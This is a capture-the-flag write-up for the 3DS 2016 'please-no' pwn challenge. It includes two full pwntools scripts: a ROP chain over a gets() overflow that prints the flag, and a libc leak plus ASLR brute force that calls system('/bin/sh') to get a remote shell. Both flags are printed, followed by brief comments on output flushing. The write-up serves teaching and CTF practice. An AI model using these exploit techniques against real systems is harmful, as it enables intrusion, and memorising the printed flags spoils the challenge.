Description
[EN]
This time the programmer did a better job to hid his flag. But the problem still: It’s vulnerable. Can you obtain the flag?
Send to 209.190.1.131 9003
NOW WITH SECRET BONUS![PT-BR]
Dessa vez o programador caprichou um pouco mais na hora de esconder sua flag. O problema que continua vulneravel. Consegue extrair a flag?
Envie para 209.190.1.131 9003
AGORA COM BONUS SECRETO!Solved by 32 teams
Bonus solved by 5 teams
Resolution
This is a pretty simple challenge, we wanted to write about the bonus part but we might as well give a write-up for the first part.
We have a standard binary:
[*] '/home/laxa/Documents/Repos/Challenges/CTF/3DS2k16/Please_no/please-no' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE
The main is just a simple gets(bufonStack), so we can ROP.
A given set of function is given for us to grab the flag, so we end up with the following script:
#!/usr/bin/env python2 from pwn import * ### b = ELF('please-no') pr = 0x080483c9 #: pop ebx ; ret pppr = 0x08048601 #: add esp, 8 ; pop esi ; ret ### r = remote("209.190.1.131", 9003) ROP = "A" * 20 ROP += p32(0x8048690) ROP += p32(pppr) ROP += p32(0x1B0B0C41) ROP += p32(0xAE13374E) ROP += p32(0xdeadbeef) ROP += p32(0x8048650) ROP += p32(pr) ROP += p32(0xB0B01337) ROP += p32(0x8048590) # open file and output to stdout ROP += p32(b.symbols['exit']) r.sendline(ROP) print r.recvall()
Now for the bonus part!
We can’t really tell why, but even with a newline terminated string, the output wasn’t correctly flushed. The only way to flush was to call exit(). Given the fact was the binary is a 32 bits one, the entropy for the libc randomization by ASLR is only a few bits (16 bits according to wikipedia), given a fixed system address, we have 1 chance on 65536 to get it right, that’s not much!
So we did the exploit in 2 parts, first one we leaked an address with the following ROP:
ROP += p32(b.symbols['printf']) ROP += p32(pppr) ROP += p32(bss) ROP += p32(bss) ROP += p32(bss) ROP += p32(b.symbols['exit']) ROP += p32(b.symbols['strcat']) ROP += p32(pppr) ROP += p32(bss) ROP += p32(0x80487d3) ROP += p32(0xdeadbeef) ROP += p32(b.symbols['strcat']) ROP += p32(pppr) ROP += p32(bss) ROP += p32(0x8048f64) ROP += p32(0xdeadbeef) ROP += p32(b.symbols['printf']) ROP += p32(pppr) ROP += p32(bss) ROP += p32(b.symbols['got.printf']) ROP += p32(0xdeadbeef) ROP += p32(b.symbols['exit'])
With that, we have a randomized libc address: 0xf75bdf30
We now identify the libc using libc database => archive-glibc (id libc6_2.24-3ubuntu1_i386)
And we calculate system address => 0xf75af020
And then we bruteforce with this script:
#!/usr/bin/env python2 from pwn import * ### b = ELF('please-no') pr = 0x080483c9 #: pop ebx ; ret pppr = 0x08048601 #: add esp, 8 ; pop esi ; ret bss = 0x0804a555 ### while True: r = remote("209.190.1.131", 9003) ROP = "A" * 20 ROP += p32(b.symbols['gets']) ROP += p32(pr) ROP += p32(bss) ROP += p32(0xf75af020) # system ROP += p32(pr) ROP += p32(bss) # /bin/sh r.sendline(ROP) r.sendline("/bin/sh\x00") try: print r.recvline(timeout=5) except EOFError: print "Except" r.close() continue r.interactive()
It takes a short amount of time to get a shell (few minutes).
Flag is: 3DS{n0_symb0l5_w1th_R0P_15_p41nful_r1ght}
Bonus flag is: 3DS{fb1d92953253c7d79b50fbe1c0ca8abd}
As an admin pointed out afterwards, the exit is needed because of socat’s behaviour handling SIGSEGV:
https://gist.github.com/Macmod/130e780a69ec6d41d7bd57612314a541
Thanks for pointing that out, your gist has 404 :(.
But the real problem is, why printf does’nt flush when appending a newline ? That’s also bothering me in that case.
My bad, I erased it by mistake 😛
Perhaps printf is flushing the buffer, but socat holds it? I really have no idea who’s to blame, exactly.
https://gist.github.com/anonymous/6d70a68a8bd4efc4c86c98b28c21f0c3
This might be a good explanation:
http://stackoverflow.com/a/5229135